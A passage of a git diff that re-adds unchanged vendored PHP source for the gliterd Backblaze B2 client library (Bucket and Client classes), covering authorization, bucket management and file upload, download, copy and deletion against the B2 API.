b/vendor/gliterd/backblaze-b2/src/Bucket.php @@ -1,42 +1,42 @@ -id = $id; - $this->name = $name; - $this->type = $type; - } - - public function getId() - { - return $this->id; - } - - public function getName() - { - return $this->name; - } - - public function getType() - { - return $this->type; - } -} +id = $id; + $this->name = $name; + $this->type = $type; + } + + public function getId() + { + return $this->id; + } + + public function getName() + { + return $this->name; + } + + public function getType() + { + return $this->type; + } +} diff --git a/vendor/gliterd/backblaze-b2/src/Client.php b/vendor/gliterd/backblaze-b2/src/Client.php index 2522188362..999d0e4f18 100644 --- a/vendor/gliterd/backblaze-b2/src/Client.php +++ b/vendor/gliterd/backblaze-b2/src/Client.php @@ -1,802 +1,802 @@ -accountId = $accountId; - $this->applicationKey = $applicationKey; - - $this->authTimeoutSeconds = 12 * 60 * 60; // 12 hour default - if (isset($options['auth_timeout_seconds'])) { - $this->authTimeoutSeconds = $options['auth_timeout_seconds']; - } - - // set reauthorize time to force an authentication to take place - $this->reAuthTime = Carbon::now('UTC')->subSeconds($this->authTimeoutSeconds * 2); - - $this->client = new HttpClient(['exceptions' => false]); - if (isset($options['client'])) { - $this->client = $options['client']; - } - } - - /** - * Create a bucket with the given name and type. - * - * @param array $options - * - * @throws ValidationException - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return Bucket - */ - public function createBucket(array $options) - { - if (!in_array($options['BucketType'], [Bucket::TYPE_PUBLIC, Bucket::TYPE_PRIVATE])) { - throw new ValidationException( - sprintf('Bucket type must be %s or %s', Bucket::TYPE_PRIVATE, Bucket::TYPE_PUBLIC) - ); - } - - $response = $this->sendAuthorizedRequest('POST', 'b2_create_bucket', [ - 'accountId' => $this->accountId, - 'bucketName' => $options['BucketName'], - 'bucketType' => $options['BucketType'], - ]); - - return new Bucket($response['bucketId'], $response['bucketName'], $response['bucketType']); - } - - /** - * Updates the type attribute of a bucket by the given ID. - * - * @param array $options - * - * @throws ValidationException - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return Bucket - */ - public function updateBucket(array $options) - { - if (!in_array($options['BucketType'], [Bucket::TYPE_PUBLIC, Bucket::TYPE_PRIVATE])) { - throw new ValidationException( - sprintf('Bucket type must be %s or %s', Bucket::TYPE_PRIVATE, Bucket::TYPE_PUBLIC) - ); - } - - if (!isset($options['BucketId']) && isset($options['BucketName'])) { - $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); - } - - $response = $this->sendAuthorizedRequest('POST', 'b2_update_bucket', [ - 'accountId' => $this->accountId, - 'bucketId' => $options['BucketId'], - 'bucketType' => $options['BucketType'], - ]); - - return new Bucket($response['bucketId'], $response['bucketName'], $response['bucketType']); - } - - /** - * Returns a list of bucket objects representing the buckets on the account. - * - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return array - */ - public function listBuckets() - { - $buckets = []; - - $response = $this->sendAuthorizedRequest('POST', 'b2_list_buckets', [ - 'accountId' => $this->accountId, - ]); - - foreach ($response['buckets'] as $bucket) { - $buckets[] = new Bucket($bucket['bucketId'], $bucket['bucketName'], $bucket['bucketType']); - } - - return $buckets; - } - - /** - * Deletes the bucket identified by its ID. - * - * @param array $options - * - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return bool - */ - public function deleteBucket(array $options) - { - if (!isset($options['BucketId']) && isset($options['BucketName'])) { - $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); - } - - $this->sendAuthorizedRequest('POST', 'b2_delete_bucket', [ - 'accountId' => $this->accountId, - 'bucketId' => $options['BucketId'], - ]); - - return true; - } - - /** - * Uploads a file to a bucket and returns a File object. - * - * @param array $options - * - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return File - */ - public function upload(array $options) - { - // Clean the path if it starts with /. - if (substr($options['FileName'], 0, 1) === '/') { - $options['FileName'] = ltrim($options['FileName'], '/'); - } - - if (!isset($options['BucketId']) && isset($options['BucketName'])) { - $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); - } - - // Retrieve the URL that we should be uploading to. - - $response = $this->sendAuthorizedRequest('POST', 'b2_get_upload_url', [ - 'bucketId' => $options['BucketId'], - ]); - - $uploadEndpoint = $response['uploadUrl']; - $uploadAuthToken = $response['authorizationToken']; - - if (is_resource($options['Body'])) { - // We need to calculate the file's hash incrementally from the stream. - $context = hash_init('sha1'); - hash_update_stream($context, $options['Body']); - $hash = hash_final($context); - - // Similarly, we have to use fstat to get the size of the stream. - $size = fstat($options['Body'])['size']; - - // Rewind the stream before passing it to the HTTP client. - rewind($options['Body']); - } else { - // We've been given a simple string body, it's super simple to calculate the hash and size. - $hash = sha1($options['Body']); - $size = strlen($options['Body']); - } - - if (!isset($options['FileLastModified'])) { - $options['FileLastModified'] = round(microtime(true) * 1000); - } - - if (!isset($options['FileContentType'])) { - $options['FileContentType'] = 'b2/x-auto'; - } - - $customHeaders = $options['Headers'] ?? []; - $response = $this->client->guzzleRequest('POST', $uploadEndpoint, [ - 'headers' => array_merge([ - 'Authorization' => $uploadAuthToken, - 'Content-Type' => $options['FileContentType'], - 'Content-Length' => $size, - 'X-Bz-File-Name' => $options['FileName'], - 'X-Bz-Content-Sha1' => $hash, - 'X-Bz-Info-src_last_modified_millis' => $options['FileLastModified'], - ], $customHeaders), - 'body' => $options['Body'], - ]); - - return new File( - $response['fileId'], - $response['fileName'], - $response['contentSha1'], - $response['contentLength'], - $response['contentType'], - $response['fileInfo'] - ); - } - - /** - * Download a file from a B2 bucket. - * - * @param array $options - * - * @return bool - */ - public function download(array $options) - { - if (!isset($options['FileId']) && !isset($options['BucketName']) && isset($options['BucketId'])) { - $options['BucketName'] = $this->getBucketNameFromId($options['BucketId']); - } - - $this->authorizeAccount(); - - $requestUrl = null; - $customHeaders = $options['Headers'] ?? []; - $requestOptions = [ - 'headers' => array_merge([ - 'Authorization' => $this->authToken, - ], $customHeaders), - 'sink' => isset($options['SaveAs']) ? $options['SaveAs'] : null, - ]; - - if (isset($options['FileId'])) { - $requestOptions['query'] = ['fileId' => $options['FileId']]; - $requestUrl = $this->downloadUrl.'/b2api/v1/b2_download_file_by_id'; - } else { - $requestUrl = sprintf('%s/file/%s/%s', $this->downloadUrl, $options['BucketName'], $options['FileName']); - } - - $response = $this->client->guzzleRequest('GET', $requestUrl, $requestOptions, false); - - return isset($options['SaveAs']) ? true : $response; - } - - /** - * Copy a file. - * - * $options: - * required BucketName or BucketId the source bucket - * required FileName the file to copy - * required SaveAs the path and file name to save to - * optional DestinationBucketId or DestinationBucketName, the destination bucket - * - * @param array $options - * - * @throws B2Exception - * @throws GuzzleException - * @throws NotFoundException - * - * @return File - */ - public function copy(array $options) - { - $options['FileName'] = ltrim($options['FileName'], '/'); - $options['SaveAs'] = ltrim($options['SaveAs'], '/'); - - if (!isset($options['DestinationBucketId']) && isset($options['DestinationBucketName'])) { - $options['DestinationBucketId'] = $this->getBucketIdFromName($options['DestinationBucketName']); - } - - if (!isset($options['BucketId']) && isset($options['BucketName'])) { - $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); - } - - $sourceFiles = $this->listFiles([ - 'BucketId' => $options['BucketId'], - 'FileName' => $options['FileName'], - ]); - $sourceFileId = !empty($sourceFiles) ? $sourceFiles[0]->getId() : false; - if (!$sourceFileId) { - throw new NotFoundException('Source file not found in B2'); - } - - $json = [ - 'sourceFileId' => $sourceFileId, - 'fileName' => $options['SaveAs'], - ]; - if (isset($options['DestinationBucketId'])) { - $json['DestinationBucketId'] = $options['DestinationBucketId']; - } - - $response = $this->sendAuthorizedRequest('POST', 'b2_copy_file', $json); - - return new File( - $response['fileId'], - $response['fileName'], - $response['contentSha1'], - $response['contentLength'], - $response['contentType'], - $response['fileInfo'], - $response['bucketId'], - $response['action'], - $response['uploadTimestamp'] - ); - } - - /** - * Retrieve a collection of File objects representing the files stored inside a bucket. - * - * @param array $options - * - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return array - */ - public function listFiles(array $options) - { - // if FileName is set, we only attempt to retrieve information about that single file. - $fileName = !empty($options['FileName']) ? $options['FileName'] : null; - - $nextFileName = null; - $maxFileCount = 1000; - - $prefix = isset($options['Prefix']) ? $options['Prefix'] : ''; - $delimiter = isset($options['Delimiter']) ? $options['Delimiter'] : null; - - $files = []; - - if (!isset($options['BucketId']) && isset($options['BucketName'])) { - $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); - } - - if ($fileName) { - $nextFileName = $fileName; - $maxFileCount = 1; - } - - $this->authorizeAccount(); - - // B2 returns, at most, 1000 files per "page". Loop through the pages and compile an array of File objects. - while (true) { - $response = $this->sendAuthorizedRequest('POST', 'b2_list_file_names', [ - 'bucketId' => $options['BucketId'], - 'startFileName' => $nextFileName, - 'maxFileCount' => $maxFileCount, - 'prefix' => $prefix, - 'delimiter' => $delimiter, - ]); - - foreach ($response['files'] as $file) { - // if we have a file name set, only retrieve information if the file name matches - if (!$fileName || ($fileName === $file['fileName'])) { - $files[] = new File($file['fileId'], $file['fileName'], null, $file['size']); - } - } - - if ($fileName || $response['nextFileName'] === null) { - // We've got all the files - break out of loop. - break; - } - - $nextFileName = $response['nextFileName']; - } - - return $files; - } - - /** - * Test whether a file exists in B2 for the given bucket. - * - * @param array $options - * - * @return bool - */ - public function fileExists(array $options) - { - $files = $this->listFiles($options); - - return !empty($files); - } - - /** - * Returns a single File object representing a file stored on B2. - * - * @param array $options - * - * @throws GuzzleException - * @throws NotFoundException If no file id was provided and BucketName + FileName does not resolve to a file, a NotFoundException is thrown. - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return File - */ - public function getFile(array $options) - { - if (!isset($options['FileId']) && isset($options['BucketId']) && isset($options['FileName'])) { - $files = $this->listFiles([ - 'BucketId' => $options['BucketId'], - 'FileName' => $options['FileName'], - ]); - - if (empty($files)) { - throw new NotFoundException(); - } - - $options['FileId'] = $files[0]->getId(); - } elseif (!isset($options['FileId']) && isset($options['BucketName']) && isset($options['FileName'])) { - $options['FileId'] = $this->getFileIdFromBucketAndFileName($options['BucketName'], $options['FileName']); - - if (!$options['FileId']) { - throw new NotFoundException(); - } - } - - $response = $this->sendAuthorizedRequest('POST', 'b2_get_file_info', [ - 'fileId' => $options['FileId'], - ]); - - return new File( - $response['fileId'], - $response['fileName'], - $response['contentSha1'], - $response['contentLength'], - $response['contentType'], - $response['fileInfo'], - $response['bucketId'], - $response['action'], - $response['uploadTimestamp'] - ); - } - - /** - * Deletes the file identified by ID from Backblaze B2. - * - * @param array $options - * - * @throws GuzzleException - * @throws NotFoundException - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return bool - */ - public function deleteFile(array $options) - { - if (!isset($options['FileName'])) { - $file = $this->getFile($options); - - $options['FileName'] = $file->getName(); - } - - if (!isset($options['FileId']) && isset($options['BucketName']) && isset($options['FileName'])) { - $file = $this->getFile($options); - - $options['FileId'] = $file->getId(); - } - - $this->sendAuthorizedRequest('POST', 'b2_delete_file_version', [ - 'fileName' => $options['FileName'], - 'fileId' => $options['FileId'], - ]); - - return true; - } - - /** - * Fetches authorization and uri for a file, to allow a third-party system to download public and private files. - * - * @param array $options - * - * @throws GuzzleException - * @throws NotFoundException - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return array - */ - public function getFileUri(array $options) - { - if (!isset($options['FileId']) && !isset($options['BucketName']) && isset($options['BucketId'])) { - $options['BucketName'] = $this->getBucketNameFromId($options['BucketId']); - } - - $this->authorizeAccount(); - - if (isset($options['FileId'])) { - $requestUri = $this->downloadUrl.'/b2api/v1/b2_download_file_by_id?fileId='.urlencode($options['FileId']); - } else { - $requestUri = sprintf('%s/file/%s/%s', $this->downloadUrl, $options['BucketName'], $options['FileName']); - } - - return [ - 'Authorization' => $this->authToken, - 'Uri' => $requestUri, - ]; - } - - /** - * Authorize the B2 account in order to get an auth token and API/download URLs. - */ - protected function authorizeAccount() - { - if (Carbon::now('UTC')->timestamp < $this->reAuthTime->timestamp) { - return; - } - - $response = $this->client->guzzleRequest('GET', self::B2_API_BASE_URL.self::B2_API_V1.'/b2_authorize_account', [ - 'auth' => [$this->accountId, $this->applicationKey], - ]); - - $this->authToken = $response['authorizationToken']; - $this->apiUrl = $response['apiUrl'].self::B2_API_V1; - $this->downloadUrl = $response['downloadUrl']; - $this->reAuthTime = Carbon::now('UTC'); - $this->reAuthTime->addSeconds($this->authTimeoutSeconds); - } - - /** - * Maps the provided bucket name to the appropriate bucket ID. - * - * @param $name - * - * @return mixed - */ - protected function getBucketIdFromName($name) - { - $buckets = $this->listBuckets(); - - foreach ($buckets as $bucket) { - if ($bucket->getName() === $name) { - return $bucket->getId(); - } - } - } - - /** - * Maps the provided bucket ID to the appropriate bucket name. - * - * @param $id - * - * @return mixed - */ - protected function getBucketNameFromId($id) - { - $buckets = $this->listBuckets(); - - foreach ($buckets as $bucket) { - if ($bucket->getId() === $id) { - return $bucket->getName(); - } - } - } - - /** - * @param $bucketName - * @param $fileName - * - * @return mixed - */ - protected function getFileIdFromBucketAndFileName($bucketName, $fileName) - { - $files = $this->listFiles([ - 'BucketName' => $bucketName, - 'FileName' => $fileName, - ]); - - foreach ($files as $file) { - if ($file->getName() === $fileName) { - return $file->getId(); - } - } - } - - /** - * Uploads a large file using b2 large file procedure. - * - * @param array $options - * - * @return File - */ - public function uploadLargeFile(array $options) - { - if (substr($options['FileName'], 0, 1) === '/') { - $options['FileName'] = ltrim($options['FileName'], '/'); - } - - //if last char of path is not a "/" then add a "/" - if (substr($options['FilePath'], -1) != '/') { - $options['FilePath'] = $options['FilePath'].'/'; - } - - if (!isset($options['BucketId']) && isset($options['BucketName'])) { - $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); - } - - if (!isset($options['FileContentType'])) { - $options['FileContentType'] = 'b2/x-auto'; - } - - $this->authorizeAccount(); - - // 1) b2_start_large_file, (returns fileId) - $start = $this->startLargeFile($options['FileName'], $options['FileContentType'], $options['BucketId']); - - // 2) b2_get_upload_part_url for each thread uploading (takes fileId) - $url = $this->getUploadPartUrl($start['fileId']); - - // 3) b2_upload_part for each part of the file - $parts = $this->uploadParts($options['FilePath'].$options['FileName'], $url['uploadUrl'], $url['authorizationToken'], $options); - - $sha1s = []; - - foreach ($parts as $part) { - $sha1s[] = $part['contentSha1']; - } - - // 4) b2_finish_large_file. - return $this->finishLargeFile($start['fileId'], $sha1s); - } - - /** - * Starts the large file upload process. - * - * @param $fileName - * @param $contentType - * @param $bucketId - * - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return mixed - */ - protected function startLargeFile($fileName, $contentType, $bucketId) - { - return $this->sendAuthorizedRequest('POST', 'b2_start_large_file', [ - 'fileName' => $fileName, - 'contentType' => $contentType, - 'bucketId' => $bucketId, - ]); - } - - /** - * Gets the url for the next large file part upload. - * - * @param $fileId - * - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return mixed - */ - protected function getUploadPartUrl($fileId) - { - return $this->sendAuthorizedRequest('POST', 'b2_get_upload_part_url', [ - 'fileId' => $fileId, - ]); - } - - /** - * Uploads the file as "parts" of 100MB each. - * - * @param $filePath - * @param $uploadUrl - * @param $largeFileAuthToken - * @param $options - * - * @return array - */ - protected function uploadParts($filePath, $uploadUrl, $largeFileAuthToken, $options = []) - { - $return = []; - - $minimum_part_size = 100 * (1000 * 1000); - - $local_file_size = filesize($filePath); - $total_bytes_sent = 0; - $bytes_sent_for_part = $minimum_part_size; - $sha1_of_parts = []; - $part_no = 1; - $file_handle = fopen($filePath, 'r'); - - while ($total_bytes_sent < $local_file_size) { - - // Determine the number of bytes to send based on the minimum part size - if (($local_file_size - $total_bytes_sent) < $minimum_part_size) { - $bytes_sent_for_part = ($local_file_size - $total_bytes_sent); - } - - // Get a sha1 of the part we are going to send - fseek($file_handle, $total_bytes_sent); - $data_part = fread($file_handle, $bytes_sent_for_part); - array_push($sha1_of_parts, sha1($data_part)); - fseek($file_handle, $total_bytes_sent); - - $customHeaders = $options['Headers'] ?? []; - $response = $this->client->guzzleRequest('POST', $uploadUrl, [ - 'headers' => array_merge([ - 'Authorization' => $largeFileAuthToken, - 'Content-Length' => $bytes_sent_for_part, - 'X-Bz-Part-Number' => $part_no, - 'X-Bz-Content-Sha1' => $sha1_of_parts[$part_no - 1], - ], $customHeaders), - 'body' => $data_part, - ]); - - $return[] = $response; - - // Prepare for the next iteration of the loop - $part_no++; - $total_bytes_sent = $bytes_sent_for_part + $total_bytes_sent; - } - - fclose($file_handle); - - return $return; - } - - /** - * Finishes the large file upload procedure. - * - * @param $fileId - * @param array $sha1s - * - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return File - */ - protected function finishLargeFile($fileId, array $sha1s) - { - $response = $this->sendAuthorizedRequest('POST', 'b2_finish_large_file', [ - 'fileId' => $fileId, - 'partSha1Array' => $sha1s, - ]); - - return new File( - $response['fileId'], - $response['fileName'], - $response['contentSha1'], - $response['contentLength'], - $response['contentType'], - $response['fileInfo'], - $response['bucketId'], - $response['action'], - $response['uploadTimestamp'] - ); - } - - /** - * Sends a authorized request to b2 API. - * - * @param string $method - * @param string $route - * @param array $json - * - * @throws GuzzleException If the request fails. - * @throws B2Exception If the B2 server replies with an error. - * - * @return mixed - */ - protected function sendAuthorizedRequest($method, $route, $json = []) - { - $this->authorizeAccount(); - - return $this->client->guzzleRequest($method, $this->apiUrl.$route, [ - 'headers' => [ - 'Authorization' => $this->authToken, - ], - 'json' => $json, - ]); - } -} +accountId = $accountId; + $this->applicationKey = $applicationKey; + + $this->authTimeoutSeconds = 12 * 60 * 60; // 12 hour default + if (isset($options['auth_timeout_seconds'])) { + $this->authTimeoutSeconds = $options['auth_timeout_seconds']; + } + + // set reauthorize time to force an authentication to take place + $this->reAuthTime = Carbon::now('UTC')->subSeconds($this->authTimeoutSeconds * 2); + + $this->client = new HttpClient(['exceptions' => false]); + if (isset($options['client'])) { + $this->client = $options['client']; + } + } + + /** + * Create a bucket with the given name and type. + * + * @param array $options + * + * @throws ValidationException + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return Bucket + */ + public function createBucket(array $options) + { + if (!in_array($options['BucketType'], [Bucket::TYPE_PUBLIC, Bucket::TYPE_PRIVATE])) { + throw new ValidationException( + sprintf('Bucket type must be %s or %s', Bucket::TYPE_PRIVATE, Bucket::TYPE_PUBLIC) + ); + } + + $response = $this->sendAuthorizedRequest('POST', 'b2_create_bucket', [ + 'accountId' => $this->accountId, + 'bucketName' => $options['BucketName'], + 'bucketType' => $options['BucketType'], + ]); + + return new Bucket($response['bucketId'], $response['bucketName'], $response['bucketType']); + } + + /** + * Updates the type attribute of a bucket by the given ID. + * + * @param array $options + * + * @throws ValidationException + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return Bucket + */ + public function updateBucket(array $options) + { + if (!in_array($options['BucketType'], [Bucket::TYPE_PUBLIC, Bucket::TYPE_PRIVATE])) { + throw new ValidationException( + sprintf('Bucket type must be %s or %s', Bucket::TYPE_PRIVATE, Bucket::TYPE_PUBLIC) + ); + } + + if (!isset($options['BucketId']) && isset($options['BucketName'])) { + $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); + } + + $response = $this->sendAuthorizedRequest('POST', 'b2_update_bucket', [ + 'accountId' => $this->accountId, + 'bucketId' => $options['BucketId'], + 'bucketType' => $options['BucketType'], + ]); + + return new Bucket($response['bucketId'], $response['bucketName'], $response['bucketType']); + } + + /** + * Returns a list of bucket objects representing the buckets on the account. + * + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return array + */ + public function listBuckets() + { + $buckets = []; + + $response = $this->sendAuthorizedRequest('POST', 'b2_list_buckets', [ + 'accountId' => $this->accountId, + ]); + + foreach ($response['buckets'] as $bucket) { + $buckets[] = new Bucket($bucket['bucketId'], $bucket['bucketName'], $bucket['bucketType']); + } + + return $buckets; + } + + /** + * Deletes the bucket identified by its ID. + * + * @param array $options + * + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return bool + */ + public function deleteBucket(array $options) + { + if (!isset($options['BucketId']) && isset($options['BucketName'])) { + $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); + } + + $this->sendAuthorizedRequest('POST', 'b2_delete_bucket', [ + 'accountId' => $this->accountId, + 'bucketId' => $options['BucketId'], + ]); + + return true; + } + + /** + * Uploads a file to a bucket and returns a File object. + * + * @param array $options + * + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return File + */ + public function upload(array $options) + { + // Clean the path if it starts with /. + if (substr($options['FileName'], 0, 1) === '/') { + $options['FileName'] = ltrim($options['FileName'], '/'); + } + + if (!isset($options['BucketId']) && isset($options['BucketName'])) { + $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); + } + + // Retrieve the URL that we should be uploading to. + + $response = $this->sendAuthorizedRequest('POST', 'b2_get_upload_url', [ + 'bucketId' => $options['BucketId'], + ]); + + $uploadEndpoint = $response['uploadUrl']; + $uploadAuthToken = $response['authorizationToken']; + + if (is_resource($options['Body'])) { + // We need to calculate the file's hash incrementally from the stream. + $context = hash_init('sha1'); + hash_update_stream($context, $options['Body']); + $hash = hash_final($context); + + // Similarly, we have to use fstat to get the size of the stream. + $size = fstat($options['Body'])['size']; + + // Rewind the stream before passing it to the HTTP client. + rewind($options['Body']); + } else { + // We've been given a simple string body, it's super simple to calculate the hash and size. + $hash = sha1($options['Body']); + $size = strlen($options['Body']); + } + + if (!isset($options['FileLastModified'])) { + $options['FileLastModified'] = round(microtime(true) * 1000); + } + + if (!isset($options['FileContentType'])) { + $options['FileContentType'] = 'b2/x-auto'; + } + + $customHeaders = $options['Headers'] ?? []; + $response = $this->client->guzzleRequest('POST', $uploadEndpoint, [ + 'headers' => array_merge([ + 'Authorization' => $uploadAuthToken, + 'Content-Type' => $options['FileContentType'], + 'Content-Length' => $size, + 'X-Bz-File-Name' => $options['FileName'], + 'X-Bz-Content-Sha1' => $hash, + 'X-Bz-Info-src_last_modified_millis' => $options['FileLastModified'], + ], $customHeaders), + 'body' => $options['Body'], + ]); + + return new File( + $response['fileId'], + $response['fileName'], + $response['contentSha1'], + $response['contentLength'], + $response['contentType'], + $response['fileInfo'] + ); + } + + /** + * Download a file from a B2 bucket. + * + * @param array $options + * + * @return bool + */ + public function download(array $options) + { + if (!isset($options['FileId']) && !isset($options['BucketName']) && isset($options['BucketId'])) { + $options['BucketName'] = $this->getBucketNameFromId($options['BucketId']); + } + + $this->authorizeAccount(); + + $requestUrl = null; + $customHeaders = $options['Headers'] ?? []; + $requestOptions = [ + 'headers' => array_merge([ + 'Authorization' => $this->authToken, + ], $customHeaders), + 'sink' => isset($options['SaveAs']) ? $options['SaveAs'] : null, + ]; + + if (isset($options['FileId'])) { + $requestOptions['query'] = ['fileId' => $options['FileId']]; + $requestUrl = $this->downloadUrl.'/b2api/v1/b2_download_file_by_id'; + } else { + $requestUrl = sprintf('%s/file/%s/%s', $this->downloadUrl, $options['BucketName'], $options['FileName']); + } + + $response = $this->client->guzzleRequest('GET', $requestUrl, $requestOptions, false); + + return isset($options['SaveAs']) ? true : $response; + } + + /** + * Copy a file. + * + * $options: + * required BucketName or BucketId the source bucket + * required FileName the file to copy + * required SaveAs the path and file name to save to + * optional DestinationBucketId or DestinationBucketName, the destination bucket + * + * @param array $options + * + * @throws B2Exception + * @throws GuzzleException + * @throws NotFoundException + * + * @return File + */ + public function copy(array $options) + { + $options['FileName'] = ltrim($options['FileName'], '/'); + $options['SaveAs'] = ltrim($options['SaveAs'], '/'); + + if (!isset($options['DestinationBucketId']) && isset($options['DestinationBucketName'])) { + $options['DestinationBucketId'] = $this->getBucketIdFromName($options['DestinationBucketName']); + } + + if (!isset($options['BucketId']) && isset($options['BucketName'])) { + $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); + } + + $sourceFiles = $this->listFiles([ + 'BucketId' => $options['BucketId'], + 'FileName' => $options['FileName'], + ]); + $sourceFileId = !empty($sourceFiles) ? $sourceFiles[0]->getId() : false; + if (!$sourceFileId) { + throw new NotFoundException('Source file not found in B2'); + } + + $json = [ + 'sourceFileId' => $sourceFileId, + 'fileName' => $options['SaveAs'], + ]; + if (isset($options['DestinationBucketId'])) { + $json['DestinationBucketId'] = $options['DestinationBucketId']; + } + + $response = $this->sendAuthorizedRequest('POST', 'b2_copy_file', $json); + + return new File( + $response['fileId'], + $response['fileName'], + $response['contentSha1'], + $response['contentLength'], + $response['contentType'], + $response['fileInfo'], + $response['bucketId'], + $response['action'], + $response['uploadTimestamp'] + ); + } + + /** + * Retrieve a collection of File objects representing the files stored inside a bucket. + * + * @param array $options + * + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return array + */ + public function listFiles(array $options) + { + // if FileName is set, we only attempt to retrieve information about that single file. + $fileName = !empty($options['FileName']) ? $options['FileName'] : null; + + $nextFileName = null; + $maxFileCount = 1000; + + $prefix = isset($options['Prefix']) ? $options['Prefix'] : ''; + $delimiter = isset($options['Delimiter']) ? $options['Delimiter'] : null; + + $files = []; + + if (!isset($options['BucketId']) && isset($options['BucketName'])) { + $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); + } + + if ($fileName) { + $nextFileName = $fileName; + $maxFileCount = 1; + } + + $this->authorizeAccount(); + + // B2 returns, at most, 1000 files per "page". Loop through the pages and compile an array of File objects. + while (true) { + $response = $this->sendAuthorizedRequest('POST', 'b2_list_file_names', [ + 'bucketId' => $options['BucketId'], + 'startFileName' => $nextFileName, + 'maxFileCount' => $maxFileCount, + 'prefix' => $prefix, + 'delimiter' => $delimiter, + ]); + + foreach ($response['files'] as $file) { + // if we have a file name set, only retrieve information if the file name matches + if (!$fileName || ($fileName === $file['fileName'])) { + $files[] = new File($file['fileId'], $file['fileName'], null, $file['size']); + } + } + + if ($fileName || $response['nextFileName'] === null) { + // We've got all the files - break out of loop. + break; + } + + $nextFileName = $response['nextFileName']; + } + + return $files; + } + + /** + * Test whether a file exists in B2 for the given bucket. + * + * @param array $options + * + * @return bool + */ + public function fileExists(array $options) + { + $files = $this->listFiles($options); + + return !empty($files); + } + + /** + * Returns a single File object representing a file stored on B2. + * + * @param array $options + * + * @throws GuzzleException + * @throws NotFoundException If no file id was provided and BucketName + FileName does not resolve to a file, a NotFoundException is thrown. + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return File + */ + public function getFile(array $options) + { + if (!isset($options['FileId']) && isset($options['BucketId']) && isset($options['FileName'])) { + $files = $this->listFiles([ + 'BucketId' => $options['BucketId'], + 'FileName' => $options['FileName'], + ]); + + if (empty($files)) { + throw new NotFoundException(); + } + + $options['FileId'] = $files[0]->getId(); + } elseif (!isset($options['FileId']) && isset($options['BucketName']) && isset($options['FileName'])) { + $options['FileId'] = $this->getFileIdFromBucketAndFileName($options['BucketName'], $options['FileName']); + + if (!$options['FileId']) { + throw new NotFoundException(); + } + } + + $response = $this->sendAuthorizedRequest('POST', 'b2_get_file_info', [ + 'fileId' => $options['FileId'], + ]); + + return new File( + $response['fileId'], + $response['fileName'], + $response['contentSha1'], + $response['contentLength'], + $response['contentType'], + $response['fileInfo'], + $response['bucketId'], + $response['action'], + $response['uploadTimestamp'] + ); + } + + /** + * Deletes the file identified by ID from Backblaze B2. + * + * @param array $options + * + * @throws GuzzleException + * @throws NotFoundException + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return bool + */ + public function deleteFile(array $options) + { + if (!isset($options['FileName'])) { + $file = $this->getFile($options); + + $options['FileName'] = $file->getName(); + } + + if (!isset($options['FileId']) && isset($options['BucketName']) && isset($options['FileName'])) { + $file = $this->getFile($options); + + $options['FileId'] = $file->getId(); + } + + $this->sendAuthorizedRequest('POST', 'b2_delete_file_version', [ + 'fileName' => $options['FileName'], + 'fileId' => $options['FileId'], + ]); + + return true; + } + + /** + * Fetches authorization and uri for a file, to allow a third-party system to download public and private files. + * + * @param array $options + * + * @throws GuzzleException + * @throws NotFoundException + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return array + */ + public function getFileUri(array $options) + { + if (!isset($options['FileId']) && !isset($options['BucketName']) && isset($options['BucketId'])) { + $options['BucketName'] = $this->getBucketNameFromId($options['BucketId']); + } + + $this->authorizeAccount(); + + if (isset($options['FileId'])) { + $requestUri = $this->downloadUrl.'/b2api/v1/b2_download_file_by_id?fileId='.urlencode($options['FileId']); + } else { + $requestUri = sprintf('%s/file/%s/%s', $this->downloadUrl, $options['BucketName'], $options['FileName']); + } + + return [ + 'Authorization' => $this->authToken, + 'Uri' => $requestUri, + ]; + } + + /** + * Authorize the B2 account in order to get an auth token and API/download URLs. + */ + protected function authorizeAccount() + { + if (Carbon::now('UTC')->timestamp < $this->reAuthTime->timestamp) { + return; + } + + $response = $this->client->guzzleRequest('GET', self::B2_API_BASE_URL.self::B2_API_V1.'/b2_authorize_account', [ + 'auth' => [$this->accountId, $this->applicationKey], + ]); + + $this->authToken = $response['authorizationToken']; + $this->apiUrl = $response['apiUrl'].self::B2_API_V1; + $this->downloadUrl = $response['downloadUrl']; + $this->reAuthTime = Carbon::now('UTC'); + $this->reAuthTime->addSeconds($this->authTimeoutSeconds); + } + + /** + * Maps the provided bucket name to the appropriate bucket ID. + * + * @param $name + * + * @return mixed + */ + protected function getBucketIdFromName($name) + { + 